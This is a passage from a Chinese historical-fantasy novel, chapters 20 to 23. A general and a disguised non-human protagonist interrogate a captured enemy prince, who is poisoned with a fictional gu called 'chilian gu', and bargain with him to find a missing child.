岁月似乎在这里遗忘了前行的脚步,徒留这满目的沧桑与往昔的回忆。
营帐内,昏暗的光线在灰尘的笼罩下显得更加朦胧。
那个被五花大绑的人,像一只被困住的猛兽,狼狈却不失凶狠。
身上的绳索深深勒进皮肉,可他浑然不顾,察觉到有人进来,立刻像被点燃的火药桶,激烈地扭动身躯。
他的双眼瞪得浑圆,几乎要从眼眶中迸裂而出,死死地盯着宛楪和慕酌。
目光中满是怨毒与不甘,仿佛要用眼神在他们身上灼烧出两个血洞。
嘴里塞着的布条被口水浸湿,他却依旧拼命地咬着,牙齿与绳子摩擦,发出“嘎吱嘎吱”的声响,
像是在宣泄着无尽的愤怒。
身体不断向前倾,双腿用力蹬地,每一块肌肉都因用力而紧绷,妄图挣脱束缚。
冲过去将眼前的两人撕碎,那股子疯狂的劲儿,让周围的空气都弥漫着危险的气息。
20. 我没什么恶意
室内的人仿若发了狠般摔倒在地,宛楪站在门口,慕酌的身影半掩住她的视线。
她瞧见一个人影在不断地挣扎,动作凌乱而急切。
灰尘扑面而来,宛楪忍不住咳嗽了两声。
“敌国皇子李胜,其母乃官居二品之家的嫡女,亦是当今贵妃。不过……”
屋内之人不再挣扎,取而代之的是愈发沉重的呼吸声。
他双眼死死地盯着说话者,目光中似要射出利刃,仿佛要剜出个洞来,
“你想……唔,唔!”
嘴里的布条被塞得严严实实,他只能拼命向前挣拽,发出含混不清的声音。
慕酌沉默须臾,随后缓缓开口,每个字都像是裹挟着锋利的刀刃,
“听说她已然失了圣心,还被冠上了祸国妖妃的名号。如今,似乎有众多人联名上书,恳请将她烧死。”
他语气平淡,好似在谈论今天天气不错这种无关痛痒之事,神色间不见一丝波澜。
地上被绳索紧缚之人,可全然没有这般冷静。
一听到慕酌的话,他顿时如困兽般疯狂挣扎起来,绳索与牙关摩擦,发出咯吱咯吱的声响。
似是要将满心的愤怒与不甘都宣泄出来。
宛楪目光投向地上那个不断扭动、状若癫狂的人,满心疑惑,实在想不明白慕酌这般做法究竟有何用意。
慕酌再度开口,声音不疾不徐,钻进旁人耳中,却好似裹挟着数九寒天的彻骨冰寒。
“你说你来这儿是为了烧毁粮草,结果不仅没成功,还把自己搭了进来。”
“你猜,别人会不会觉得你们母子二人,才是阻碍北国发展的累赘?”
地上的人听闻此言,挣扎得愈发厉害,绳索不堪重负,发出不堪重负的“嘎吱”声,出现了明显的裂痕。
就在这时,慕酌不慌不忙,从一旁抽出一柄寒光的刀,手臂一挥,干净利落,不带丝毫犹豫地劈下去。
那动作,与那日拽着宛楪的手,将利刃狠狠捅进自己胸口时,如出一辙。
彼时,他不见丝毫彷徨,只有决绝到底,连残影都捕捉不到的利落。
刀光一闪,如凌厉闪电劈开了拦在外面的绳索。
随着绳索断裂,被绑之人因惯性向前扑来,身上华丽的服装瞬间沾染了灰尘。他怒不可遏,挥舞着拳头,气势汹汹地朝着慕酌砸去,要将满腔怒火都宣泄出来。
然而,慕酌却不费吹灰之力便侧身闪过,顺势伸手攥住他的手臂,猛地用力一扭。
只听一声闷哼,那人吃痛之际,脚下又被慕酌一扫,整个人直愣愣地扑倒在地。
发出的声响让人听着不禁牙根发酸。
等他狼狈地抬起头,一把锋利的剑已然横在了脖子上。
他双眼通红,恶狠狠地盯着慕酌,咬牙切齿道:“你是谁?究竟要干什么?”
那眼中的怒火仿佛要将空气点燃,浓烈的痛恨几乎化为实质,恨不得将慕酌生吞活剥。
这般剑拔弩张的氛围,加上他此刻极为狼狈的处境,让周围的空气都仿佛凝固了。
他的目光转而移到站在一旁静静观战的宛楪身上,嘴角扯出一抹嘲讽的笑,讥讽道,
“我还当你们南国是个什么好地方,敢情连将军都是个断袖。怎么,这小子你很喜欢?”
宛楪嘴角狠狠一抽,一股无名火蹿上心头,刚要发作,只见一道黑影闪过,那人脸上就结结实实地挨了一拳。
这一拳力道极大,直打得他嘴角瞬间溢出鲜血,身子也跟着晃了晃。
紧接着,慕酌那清润却透着彻骨寒意的声音悠悠传来:“你最好认清,自己的处境,掂量掂量,这是什么地方。”
话慢慢的,似乎还带着些许察觉不到的冷笑。
裹挟着不容置疑,冰冷得让人不寒而栗。
那人剧烈地咳着血,每一下咳嗽都像是要把肺腑咳出来。
他恶狠狠地瞪着慕酌和宛楪,眼中的恨意仿佛要将周遭的空气点燃,嘶吼道:
“有本事你们就杀了我!来啊!怎么,不敢吗?一群怂货!”
他咬着牙,那股狠劲像是嘴里嚼着的不是空气,而是敌人的骨头。
恨不能连带着牙齿一起咬碎,宣泄着满心的怨愤。
慕酌猛地伸出手,狠狠钳制住他的脸,指尖发力,捏得他脸颊扭曲。
那动作里裹挟着几分不加掩饰的残忍与冷冽的不屑,仿佛在把玩一只微不足道的蝼蚁。
“你要是现在死了,不妨猜猜,北国那些人,会不会把这笔账算到你母妃头上?”
他的声音仿若三九寒冬里三尺厚的寒雪,冷意丝丝缕缕,直直刺入人的骨髓深处。
带着冻彻灵魂的压迫感,以及令人胆寒的威胁,寒意砭人肌骨。
“接下来,就不得不提及如今北国最得宠的二皇子,李林。”
慕酌微微一顿,目光中闪过一丝意味深长的神色,继续不紧不慢地说道,
“这两位皇子几乎是同一时间降临人世,一个年长,一个年幼。可时过境迁,如今一个被视为灾星,遭人嫌弃”
“另一个却被整个帝国捧在掌心,尊为福星。李林甚至有望继承太子之位,他母亲晋升之途也不过是时间问题罢了。”
地上的人不再如方才那般,满眼愤恨地瞪着慕酌。
此刻,他的双眸之中盛满了痛苦,像是被往昔的回忆狠狠拉扯,整个人都沉浸在某种难以言说的情绪里。
当他再次望向慕酌时,目光中多了几分忌惮与警惕,但里面的狠意却昭示着,他是随时会扑上来撕咬的猛兽。
“别这么激动嘛,我可没有恶意。要是你没来烧粮草,咱们说不定都没机会碰面。”
慕酌一边不紧不慢地说着,一边伸出手指,轻轻敲击着旁边的桌子,发出有节奏的声响。
说完这句话后,他便住了口,脸上挂着莫测的笑意,静静地看着对方,等待对方的反应。
凛冽的风裹挟着远方无尽的沉默,悠悠拂来,悄然撩起秋冬交接处的那一抹衣角。
像是在天地间轻轻诉说着季节更迭的故事。
漫长的沉默在空气中蔓延,良久,地上的人艰难地动了动干涩的嘴唇,嗫嚅着开口:
“你到底想要什么?或者说……你打算干什么?”
他的眼神里警惕又浓重了几分,像一只被逼入绝境的野兽,浑身的肌肉紧绷。
似乎为下一秒可能出现的一场激烈的战斗,拼尽全力。
一阵嗤笑悠悠传来,像是从牙缝中挤出来的不屑,却并未正面回应他的问题。
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“你的皇弟,放任手下将军那些令人作呕的癖好。那人竟喜好食用孩童的肉,即便明知这会激起民愤,可你的皇弟仅仅因为他力气大、能在战场上抗敌,就对其加以重用,甚至不惜派人四处抓人,只为满足他那泯灭人性的欲望。”
慕酌的声音冰冷刺骨,每一个字都裹挟着寒霜,慢悠悠地钻进对方耳朵里,仿若一把把尖锐的钢针。
字字句句锥心刺骨。
“你说,这样的人竟然被当作吉祥的象征,你好好想想,这个世道对你公平吗?”
此刻,慕酌恰似那低语的恶魔,用蛊惑的言辞,诱使迷路人一步步滚向地狱,最终被滚烫的岩浆彻底浸没。
宛楪的目光投向暗角处,只见慕酌半截身子隐在营帐内,他身着黑衣,本应毫无色彩,似要与黑暗融为一体。
然而,晨曦的光悄然洒落,照亮另一半身躯,衣服上的扣子折射出星星点点刺眼的光芒。
光影交错间,慕酌整个人散发着一种难以言喻的神秘气息。
他姿态随意,却周身洋溢着与生俱来的自信,那是一种潜藏在暗处、未被驯服的野性之美。
宛楪把眼睛移开,她现在倒是更担心阿已那个小孩,以及……
什么时候出发。
地上的人胸腔剧烈起伏,犹如困兽般喘息,慕酌的话显然戳中了他的痛处。
剧烈喘息后,他猛地一拳砸在地上,指关节因用力而泛白。
再抬起头时,双眼布满血丝,像是一头被逼至绝境的猛兽,声音颤抖却又带着一份执念的坚定。
“你到底想怎么做?只要不把北国拱手让给你们,其他条件,只要我能做到,任你提!”
字字句句就算是颤抖着,也是铿锵有力。
慕酌面色沉静如水,仿佛眼前剑拔弩张的局势不过是不值一提的小事。
他微微挑眉,语气闲适,像在聊家常一般缓缓开口,
“你带我们踏入北国的土地,我们助你铲除掉二皇子,助你稳稳地巩固自身地位。”
“至于你……”
“让战争立刻平息,保证边疆从此安宁无扰;往后若我有调遣的需求,你务必亲率大军全力支援,从踏入南国领土的那一刻起,一草一木都不得惊扰,直达南国皇城室。”
地上的人原本紧绷的身躯猛地一震,双目圆睁,眼中满是不可置信的神色,眼眸瞪大,干裂的嘴唇微张,半晌才挤出几个字:
“你……你要篡位?”
周遭的风静谧得有些诡异,全然不像北国此刻的天气。
在北国,狂风正裹挟着摧毁一切的气势呼啸肆虐,飞沙走石间,似要将世间万物都卷入无尽的混沌。
而此地,风却柔和地拂动着,像是一双温柔的手,轻轻撩动着世间的安宁。
“呵,不是。”
慕酌轻笑一声,那笑声像是从悠远的地方传来,带着几分漫不经心。
他微微仰头,目光透过营帐的缝隙,望向外面那柔和且渐渐暖和起来的风,像是在凝视着一幅绝美的画卷。
日光毫无保留地倾洒而下,给世间万物都镀上了一层暖黄的光晕,了。
今天又是一个晴空万里的好天气。
许久,慕酌薄唇轻启,淡然道:“这不重要。”
21. 做个交易
李胜半边身子重重磕在地面,钻心的疼痛瞬间袭来,疼得他冷汗直冒,一时竟无法起身。
缓了好一阵,他才咬着牙,双手撑地,艰难地直起身子。
方才慕酌卸脱他胳膊的那一下,让整条手臂像脱了力般耷拉着,脚踝处也传来阵阵剧痛——
应该是刚才摔倒时扭到了。
李胜好不容易站起身,胸口剧烈起伏,每一次呼吸,都伴随着从四肢传来的尖锐刺痛,令他忍不住“嘶嘶”吸气。
他强压着疼痛,目光先是落在慕酌身上,旋即语气紧绷:
“不管你是不是打算篡位,这都与我无关。你提的要求,我同意。不过,我也有我的条件。”
说到这儿,李胜刻意顿了顿,目光如鹰隼般扫视全场。
当触及宛楪时,他瞳孔微缩,眼中闪过一丝忌惮。仅仅几秒,他便迅速收回视线,不敢多做停留。
宛楪垂眸敛目,羽睫在白皙脸颊投下小片阴影,大脑飞速梳理着各种线索,权衡着利弊。
慕酌忽然笑着,笑声在空旷的室内回荡。
末了,他眯起双眸,眼中闪过一丝戏谑:
“说说看,你有什么要求?难不成是想让我杀了北国皇帝,扶持你登上皇位?”
说话间,他修长的手指漫不经心地捻着衣袖上的玉扣,嘴角勾起一抹玩味的弧度。
仿佛将此事当作一场有趣的闹剧,散发着玩世不恭的气息。
李胜像被人猛地扼住喉咙,瞬间涨红了脸,喉咙里“咯”地一声,差点呛住。
他瞳孔剧烈收缩,眼中满是恐惧与不可置信,结结巴巴道:
“那……那倒不用。你既然知道我母妃的事……我实在想不明白,你从哪得到的消息。”
他攥紧拳头,指节泛白,语气里透着一丝急切,“我只有一个要求,你务必把母妃救出来。至于李林……”
提到这个名字,李胜脸上的肌肉瞬间扭曲,声音因激动微微发颤,
“那个狗东西,我要他死!”
此时的他,周身散发着疯狂的气息,兴奋得几乎要颤抖起来。
紧接着,李胜浑身剧烈颤抖,仿佛筛糠一般,他猛地伸出食指,狠狠戳向自己心脏位置,声线凄厉:
“李林给我下毒!”
话音未落,他的眼眶瞬间充血,犹如困兽般布满血丝,整个人被疯狂的恨意裹挟:
“我要让他付出代价!让他一寸一寸感受心脏撕裂的剧痛,在痛苦中死去!”
李胜几乎是声嘶力竭地咆哮,每一个字都从齿缝间挤出,带着令人胆寒的怨毒。
慕酌听闻,剑眉瞬间上扬,动作顿了一下,旋即侧过脸庞,目光意味深长地看向宛楪。
两人视线交汇刹那,他嘴角微抿,没发表任何看法,周身气息神秘难测,权衡着什么。
李胜仍在喋喋不休,许是毒性发作,又或许是体力耗尽,他的声音愈发沙哑。
突然,一阵强烈的眩晕袭来,他身形一晃,“咳咳”几声,猛地向前踉跄半步。
慌乱间,他伸手死死抓住身旁墙壁,指甲几乎要抠进墙里,才勉强稳住身形。
“我没别的要求!”
李胜声嘶力竭地吼着,每一个字都带着浓重的喘息,
“救出我母妃!让李林……那个龟孙子,不得好死!要他死得惨烈!”
此刻的他,双眼通红,额头上青筋暴起,浑身散发着疯狂的气息。
宛楪听着李胜近乎癫狂的话语,嘴角不自觉微微勾起,划出一道若有若无的弧度。
这细微的动作,却没能逃过李胜的眼睛。
刹那间,李胜眼神一凛,充满警惕与愠怒,猛地转头逼视宛楪,质问道:
“这位公子,看你方才笑意,莫不是对我的话有意见?又或者,你另有盘算?”
李胜的态度较之初时,发生了一百八十度大转弯。
不再是剑拔弩张、满脸戾气,取而代之的,是小心翼翼的揣测。
此刻,他看向宛楪的眼神里,多了几分审视与期待,更像是在寻求一位势均力敌的合作伙伴。
“这位公子,我是真心想和你探讨这个问题。”李胜的语气里带着一丝恭敬,“不知你有何高见?”
究竟是慕酌之前的一番话,戳中了他的要害,还是身处绝境的他,终于认清了形势,决定放下身段?
没人能猜透他的心思。
但可以肯定的是,李胜已然意识到,在这场复杂的博弈中,多一个盟友,就多一分胜算。
宛楪并未打算解释自己方才的笑意,眸光微转,语气平淡又带着几分探究:
“听你一心要李林死,打算让他中什么毒?又想让他何时毒发丧命?”
说话间,她随意地拂了拂衣袖,暗暗留意着李胜的反应。
宛楪的声音不疾不徐,在空旷的室内回荡,让这场对话愈发显得讳莫如深。
宛楪缓缓抬起头,嘴角勾起一抹恰到好处的弧度,笑容里带着一丝若有若无的敷衍,以及程式化的礼貌。
她微启朱唇,开口问道:“方才听你说中了毒,究竟中的是什么毒?”
说话看似关切询问,实则漫不经心。
李胜身形一僵,脸上血色瞬间褪去,整个人如坠冰窖。
他缓缓垂下眼眸,眼神空洞,仿佛被抽走了灵魂,往昔的痛苦回忆如潮水般将他淹没。
良久,他嘴唇微微颤抖,艰难地嗫嚅着,声音低得如同蚊蝇:“赤链蛊……”
三人静静地伫立着,任衣角随风飘动。
裹挟着远处山峦间独有的草木清香,恍惚间,遥远的人和事,顺着风的轨迹,穿越重重时光,纷至沓来。
宛楪脑海里快速检索,确定自己从未听闻“赤链蛊”。
可她面上波澜不惊,一个盘算在心底悄然成型——
借着这个机会,和李胜做笔交易。
她微微前倾,嘴角勾起一抹神秘的笑容,开口道:
“赤链蛊虽说棘手,但并非无解。不过……这解法,自然是有代价的。”
语气笃定,仿佛对破解之法胸有成竹,实则暗藏试探,准备将这场交易的主动权牢牢攥在手中。
宛楪自信笑笑,不知道在人类世界那些江湖人数的话里学的东西,能不能唬住这个人。
宛楪轻抬下颌,望向已然大亮的天空,晨光为她勾勒出清晰的侧脸轮廓。
随后,她收回目光,看向李胜,神色认真:“我认识一个小孩,叫阿已,被那位心狠手辣的将军掳走了。当时一群人追我,慌乱间,我把阿已藏了起来。可如今,我怎么都找不到他。”
顿了顿,宛楪加重语气:“我要你帮我找到他,必须毫发无损。以你的身份,这件事应该不算难。”
在宛楪看来,慕酌如今没必要对她隐瞒或欺骗,至今没有阿已的消息,大概率是搜寻还未有结果。
想到这儿,她眉头轻蹙,眼中闪过一丝忧虑。
局势仿佛笼罩在一层阴霾之下,可没得到死讯,就像乌云缝隙里透出的一缕光。
当下情况算不上好,好在没传来阿已身亡噩耗,多少让她悬着的心,落下去了一点。
宛楪身姿笔挺,目光如炬,紧紧盯着李胜,掷地有声道:
“你身中剧毒,旁人或许束手无策,但我能解。这笔交易,你做不做?”
宛楪的话,精准击中李胜的痛点,给出的条件直击他内心深处的渴望。
从李胜闪烁的眼神和微微颤抖的双手就能看出,这条件充满致命诱惑,叫人难以拒绝。
屋内的空气仿佛凝固了一般,李胜感受到一股无形的压力。
他皱着眉,目光在慕酌和宛楪之间反复打量,双手不自觉地攥紧衣角,声音带着一丝颤抖:“你……你们究竟有什么目的?”
宛楪微微前倾,目光如利刃般直视李胜,语调平稳却带着压迫感:
“他的交易归他,我的条件摆在这里。接还是不接?”
屋内暖光摇曳,宛楪的声音清脆活泼,带着几分调侃,似春日微风。
但在这轻松表象下,暗藏玄机。
李胜越琢磨,越觉得脊背发凉,周身的空气仿佛都被抽干,恐惧如潮水般将他淹没。
李胜目光在宛楪与慕酌身上来回游移,眉头拧成了麻花,眼神中满是迷茫。
宛楪和慕酌给出的条件,像磁石般深深吸引着他。
他绞尽脑汁思索拒绝的理由,可大脑一片空白,实在找不出推脱的借口。
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这着实透着蹊跷。
赤链蛊,这来自地狱深渊的毒物,宛如一道恐怖的诅咒。
没人能说清它究竟诞生于何处,又是怎样被炼制出来的。
它就像一阵无形的阴风,在世间悄然蔓延。一旦被这蛊毒缠上,受害者便会陷入万劫不复之地,全身如被无数火蛇啃噬,痛苦如潮水般将其淹没。
在绝望的黑暗中,他们只能等待死亡的降临,一切终结得悄无声息,不留一丝破绽。
可眼前这女子,竟宣称能破解赤链蛊,而且索要的报酬微不足道,仅仅是帮忙寻找一个孩子,且只要求孩子平安健康。
这显然不是一场公平的交易。
李胜心乱如麻,脑海里不断思索两人意图。
这两人出现太过蹊跷,承诺又超乎常理。他强装镇定,眼神在宛楪和慕酌间来回游移,刻意压低声线,带着几分试探问道:
“能解赤链蛊的人,整个江湖屈指可数。你们究竟是谁?”
宛楪随意地挑了挑眉,目光扫向外面正在巡逻的士兵,语气笃定:
“我家世代经营草药生意,规模庞大。若非如此,我怎敢夸下海口?”
说罢,她嘴角含笑,直视李胜,眼中满是疑惑:
“你若不信我,可眼下你还有别的办法吗?倒不如让我一试。”
慕酌双手抱胸,修长的手指随意交叠。
他目光始终聚焦在宛楪身上,眼眸深邃而平静,仿若一面深不见底的湖水,没有丝毫波澜。
对于李胜和宛楪的对话,他不置一词,只是偶尔微微挑眉,暗示着他的关注。
“你……你……”
李胜面色煞白,嘴唇哆哆嗦嗦,内心在怀疑与渴望间疯狂拉扯,一时拿不定主意。
宛楪瞧出他的纠结,柳眉一扬,言辞如刀般犀利:
“事到如今,你还有什么可犹豫的?赤链蛊毒发之日,就是你命丧之时,我这儿是你唯一的生机。至于我破解蛊毒的门道,没必要向你交底。”
这番话直击李胜心底的恐惧,充满致命诱惑,难以抗拒。
李胜抬眼,望去面前这两人。
一个身着黑衣,身姿修长,衣角在风中肆意舞动;一个身着士兵服,披着价值不菲的黑色狐裘大衣。
衣服上还残留着斑斑血迹神色冷峻,却又饶有兴致地盯着自己。
暖融融的阳光倾洒而下,照亮了李胜的后背,也照亮了面前这两个人。
李胜下意识咽了咽唾沫,心中涌起一股不祥的预感:
寒意顺着脊背爬上李胜后颈,他喉结艰难滚动。
这两人都不是什么好东西,若真狼狈为奸,自己到时候只能任人宰割。
一个毒蝎,一个毒蛇,举手投足,暗藏杀机!!!
起初两人进来时,彼此保持着距离,此刻却不知不觉靠近了许多。
他们迎着阳光,宛如两座不可逾越的山峰,审视着这位来自敌国的不速之客。
“好。”李胜最终还是同意了。
宛楪神色平静,看着李胜身体微微颤抖,心中纳闷:
他究竟在害怕什么?
就在这时,李胜不小心带动了慕酌的衣角,衣角划过宛楪身上披着的狐裘。
宛楪扭头望去,恰好听见慕酌吩咐:“把这位客人带下去,务必好生招待,不可怠慢。”
等到李胜被侍卫带离,周围的喧嚣瞬间归于平静。慕酌仿若被无形的丝线牵引,缓缓转过身来。
朔风呼啸着席卷而来,慕酌的声音裹挟在风中,带着丝丝缕缕的清冷,如同一股幽泉,悄然流入宛楪耳中。
原本冷峻的面庞上,绽放出一抹笑容。
这笑容恰似寒夜中盛开的昙花,美得惊心动魄,却又稍纵即逝,在他平素冰冷如霜的脸上,显得极为罕见。
也很恐怖。
“你信他的话吗?”
慕酌站在逆光处,轻声问道。
宛楪强迫自己移开视线,时刻提醒自己,眼前这人宛如魔鬼,不能被他漂亮的外表迷惑。
屋内光影摇曳,宛楪站在阴影里,周身气场冷冽。
“不信。”宛楪语气平淡。
面对慕酌的询问,她连眼神都未多作停留
22. 白衣
深秋的天地间,一片肃杀之景。乌云如墨般翻涌,将惨白的日光死死遮蔽,使得军营仿若被笼罩在一层沉重的铁幕之下。
狂风在营帐间横冲直撞,旗杆被吹得嘎吱作响,旗帜好似发了狂般疯狂舞动,发出的猎猎声响,宛如战场上传来的凄厉号角,让人心生寒意。
地上的沙石与枯草被风裹挟着,如子弹般四处飞射,打在将士们的铠甲上,发出噼里啪啦的声响,更添几分紧张氛围。
慕酌双手抱臂,身姿挺拔如松,猎猎作响的衣袂与周遭狂躁的风声融为一体。
锐利的目光仿若寒星,开口问道:“嗯,我同样不信。”
“倘若我们跟他去,说不定背后就藏着陷阱,等着我们跳进去,这不是自投罗网?”
宛楪凝视着他,幽幽叹了口气,转身落座在椅子上,椅脚与地面摩擦,发出一阵尖锐刺耳的声响。
语气中带着一丝诧异:“我们?”
“没错,我们一同前往。难道你不想救那个孩子?方才你心急如焚,连赤链蛊都甘愿为他解。”
慕酌微微歪头,晨光穿透他的发丝,细碎的光影在他周身跳跃,宛如梦幻的金纱,碎金般的光斑在他棱角分明的脸上闪烁。
周围几个路过的士兵,听闻这话,忍不住放慢脚步,偷偷打量宛楪,眼神中满是惊讶与疑惑。
小声嘀咕着这校尉竟如此大胆,敢涉险解蛊救人。
宛楪沉默片刻,目光紧锁慕酌,神色认真且满是疑惑,指尖不自觉地反复摩挲着衣角,似在平复内心的不安:
“你难道不好奇,我为何声称自己能解赤链蛊?”
慕酌潇洒地摊开双手,皮靴随意一碾,脚边的一颗石子瞬间被碾碎,发出清脆的声响。
语气轻松:“你不是说出自医药世家吗?懂这些,不是顺理成章的事?”
一旁站岗的卫兵,听到这番对话,微微皱眉,眼中闪过一丝怀疑,下意识地握紧了手中的长枪。
宛楪垂下眼眸,眼睫在苍白的脸上投下小片阴影,没有反驳。
她对人类世界的毒药和身份一窍不通,或许慕酌真的没有起疑。
这么一想,宛楪悬着的心悄然放下,暗自责怪自己多心。
既然慕酌都不觉得她的话有破绽,其他人理应也不会察觉。
慕酌注视着宛楪,眼角含笑,语调中带着不容拒绝的意味:
“那就有劳校尉陪我走一趟了。”
那漂亮的狐狸眼中,既有诱惑,又带着几分笃定的期待,仿佛在赌宛楪不会拒绝。
还隐隐透着得逞的愉悦,眸光流转间似有狡黠的算计。
路过的士兵,相互对视一眼,眼中流露出意味深长的神色,似乎在猜测这两人此番行动背后的隐情。
宛楪暗自懊恼,怎么会往奇怪的方向揣测他。
就在这时,慕酌再度开口:“那个小孩子叫阿已,不过我打听到,他还有个名字,叫小五。”
紧接着,他眼中闪过一抹不易察觉的笑意,像是发现了什么有趣秘密:“所以,这就是你自称六六的缘由?”
宛楪心里“咯噔”一声,瞬间警觉起来,指甲深深掐进掌心,留下几道发白的痕迹。
他是察觉到自己随口编名字的破绽,还是查到了什么不该知道的事?
宛楪的目光下意识移到慕酌心脏处,停顿数秒,脑海中瞬间闪过最保险的办法
——杀了他,夺回真身,从此便能摆脱这提心吊胆的日子。
凌厉的杀意从眼底一闪而过。
营帐外,一只乌鸦“呱呱”叫着飞过,声音划破寂静,仿佛在为即将到来的危机预警。
但她明白,一旦沉默,势必会引起慕酌怀疑。
阿已之前跟她讲过,自己在家排行老五,却没有兄弟姐妹,为此十分难过。
当时,宛楪见这孩子可怜,又正愁没名字糊弄士兵,便在孩子询问时,随口答道:“六六,家里人都这么叫我。”
她知道,人类似乎偏爱这个数字,总觉得它寓意幸运。
果不其然,孩子听后十分开心,自此一口一个“六六哥”地叫她。
想到这儿,宛楪叹了口气,反问道,眼中闪过一丝冷意:
“你为何对那个小孩子如此上心?以你的身份地位,对每个百姓都这般关怀备至吗?连名字都要刨根问底,莫不是另有目的?”
慕酌突然向前半步,目光似笑非笑,声音里多了几分戏谑:
“你这般担心这个孩子,倒是让我想起了那些草原上护崽的母狼,就连熊孩子都敢咬。不过可惜了,也不知道那孩子能不能遇到,如果真的遇到这样的野兽,会不会被咬得支离破碎。”
说完,他紧紧盯着宛楪,似乎想从她的反应中捕捉到什么。
旁边一个清理马厩的士兵,听到这话,手中的工具差点掉落,忍不住偷偷瞧了瞧两人,满脸惊愕。
慕酌紧紧盯着她,听完这番话,似乎还想从她脸上找出蛛丝马迹,眼球微微转动,喉结上下滚动,可最终还是别开了头,避开了她的目光,不再纠结这个话题。
或许,他也不知该如何继续追问。
此时,天光已然大亮,刺目的阳光穿透厚重的云层,给军营镀上一层冰冷的金色。
将士们陆续起身,开始忙碌起来,脚步声、兵器碰撞声交织成一片嘈杂的乐章。
慕酌走出营帐,脸上写满了烦闷,靴跟重重一跺,震得地面尘土飞扬。他迅速整装,安排好军中事务,声音冷硬如铁,每一个指令都透着不容置疑的威严。
周围的士兵们听到他的命令,无不立刻行动起来,不敢有丝毫懈怠,动作整齐划一,彰显出训练有素的作风。
宛楪跟在身后,静静地看着这一切,发丝被风扯得凌乱。
“报!将军,您吩咐寻找的孩子,我们找到了一封信。”
一名士兵匆匆赶来,脚步踉跄,差点摔倒,呈上一封信件。
慕酌并未伸手,宛楪上前接过,信封上还带着潮湿的泥土印记。
打开信件,上面寥寥几字,却令人作呕:“这孩子我带走,玩一下。”
宛楪怒火中烧,双手攥紧信纸,指节泛白,信纸发出不堪重负的“簌簌”声,气得浑身发抖。
“简直畜生不如!这是谁写的?今天要是查不出来,我把这军营翻个底朝天!”她怒目看向士兵,士兵却低头不语,身体微微颤抖。
一旁几个围观的士兵,纷纷露出愤怒的表情,低声咒骂着写信之人的恶行。
宛楪转头看向慕酌,呼吸急促,胸前剧烈起伏。
下一秒,她大步朝着关押北国皇子的地方走去,满腔怒火亟待宣泄,每一步都重重踏在地上,扬起一片尘土。
慕酌伸手拦住她,宛楪回头,秀眉紧蹙,额间青筋微凸,质问道:“你干什么?找死吗!”
“我要去问问他。他很可能知道这封信是谁写的,我总不能干看着。”
宛楪满脸愠怒,对慕酌的阻拦极为不解,心中的怒火更旺了,恨不得一拳砸在他脸上。
周围几个士兵见状,纷纷围拢过来,
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警惕地看着两人,手不自觉地放在剑柄上,气氛瞬间紧张到了极点。
“现在就去!我对北国局势心里有数,不会出大乱子。要是耽误了救阿已,我拿你是问!”
宛楪闻言,虽满心不解,但念及眼下与慕酌还有合作,强压下胸腔里翻涌的怒火,牙齿咬得咯咯作响,咬牙道:
“行。”
她刚要迈步,一件衣服突然甩到身上。那是一件白衣。
虽不算顶级奢华,在这军营中却显得颇为精致,衣料上的暗纹在阳光下若隐若现。
宛楪瞳孔骤缩,这不正是之前在慕酌营帐里翻到的那件吗?
当时,她就觉得这件衣服必定珍贵无比,如今慕酌竟直接扔给她?
宛楪满心疑惑,眼中闪过警惕,问道:
“你这是什么意思?要是敢耍什么花样,我让你后悔!”
“换上它,咱们立刻出发。这件衣服对我意义重大,希望你别弄坏了。要是有一丝破损,我扒了你的皮!”
慕酌紧紧抓着宛楪的手,力道大得几乎要捏碎她的骨头,目光灼灼,神色认真且带着一丝警告。
围着的士兵听到这番对话,忍不住倒吸一口凉气,眼神中满是惊讶,没想到慕酌对这件衣服竟如此看重。
宛楪简直气不打一处来,这人莫不是有毛病?
既然衣服珍贵,为何要让她穿?
“我是去救人,不是来换衣服的!我现在就要走!再拦我,别怪我不客气!”
宛楪不耐烦地吼道,手腕用力挣扎。
慕酌的手没有丝毫放松,冷着脸道:
“你没得选择。记住,到了北国,人生地不熟,没有我,你寸步难行。穿上衣服,咱们马上出发。别问为什么,照做就行!要是不听话,我把你绑着带走!”
慕酌的眼神中,透着不容置疑的威严,宛如一把出鞘的利刃。
周围的士兵们看着这一幕,都识趣地远远避开,不敢靠近,生怕惹祸上身。
宛楪被气得说不出话,狠狠抓过白衣,指甲几乎要将衣服划破,转身找了个营帐换上。
“走!”宛楪换好衣服出来,语气冰冷,眼神像淬了毒的箭,脸上写满了不耐烦与愤怒。
上路后,宛楪将信拿给敌国皇子看,这次慕酌并未阻拦。
然而,从皇子口中并未得到有用信息。皇子含糊其辞,只说可能认识,又让宛楪和慕酌跟他走一趟,脸上还挂着似有若无的嘲讽笑意。
周围的空气仿佛都凝固了,随行的士兵们握紧兵器,警惕地盯着皇子,气氛剑拔弩张。
此时正值深秋,秋风裹挟着枯枝败叶,如狰狞的恶鬼般呼啸而过,寒意刺骨。
道路两旁的树木只剩下光秃秃的枝干,在风中张牙舞爪,地上堆积的落叶被卷到半空,形成一个个小型的漩涡。
在这样恶劣的环境下打仗,着实是一种折磨。
宛楪满心牵挂着阿已,对周围的动静浑然不觉。
突然,一阵草木剧烈晃动,一群兵马从路旁杀出,马蹄声如雷,扬起漫天尘土。
他们手持利刃,寒光闪烁,直逼宛楪和慕酌。
敌国皇子见状,脸上露出阴险的笑容,试图趁机逃脱,嘴里还恶狠狠地叫嚷道:
“就凭你们,还想拿捏我?等着被碎尸万段吧!”
那笑容中,满是对宛楪和慕酌的痛恨,仿佛要将他们生吞活剥。
随行的士兵们见状,纷纷抽出兵器,与来袭的兵马展开殊死搏斗,喊杀声震耳欲聋,整个战场陷入一片混乱。
23. 你真是个可怕的人
暮色如浓稠的血墨,将广袤无垠的大漠浸染成一片暗红的炼狱。
朔风裹挟着砂砾,如同无数细小的刀刃,呼啸着掠过耳畔,发出凄厉的呜咽。枯骨般的胡杨在风中摇曳,扭曲的枝桠间垂落褪色的经幡,远处商队的铜铃声忽远忽近,似是幽冥传来的招魂曲
——那声音里混着皮革摩擦的沙沙声,还有若有若无的低咒,如同毒蛇吐信般钻进众人耳膜。
就在这片荒凉死寂的沙海中,一场惊心动魄的生死较量正悄然拉开帷幕。
皇子阴鸷的声音划破寂静,他倚着雕花马鞍,指尖把玩着慕酌送给他的鎏金匕首:
"这可是北国声名狼藉的巫蛊商队,落到他们手里,轻的会被制成干瘪的人肉干,重的则会沦为任人操控的傀儡。"
他脸上挂着阴森的笑意,嘴角的纹路里还沾着方才饮酒留下的暗红酒渍,仿佛已经看到了两人的下场。
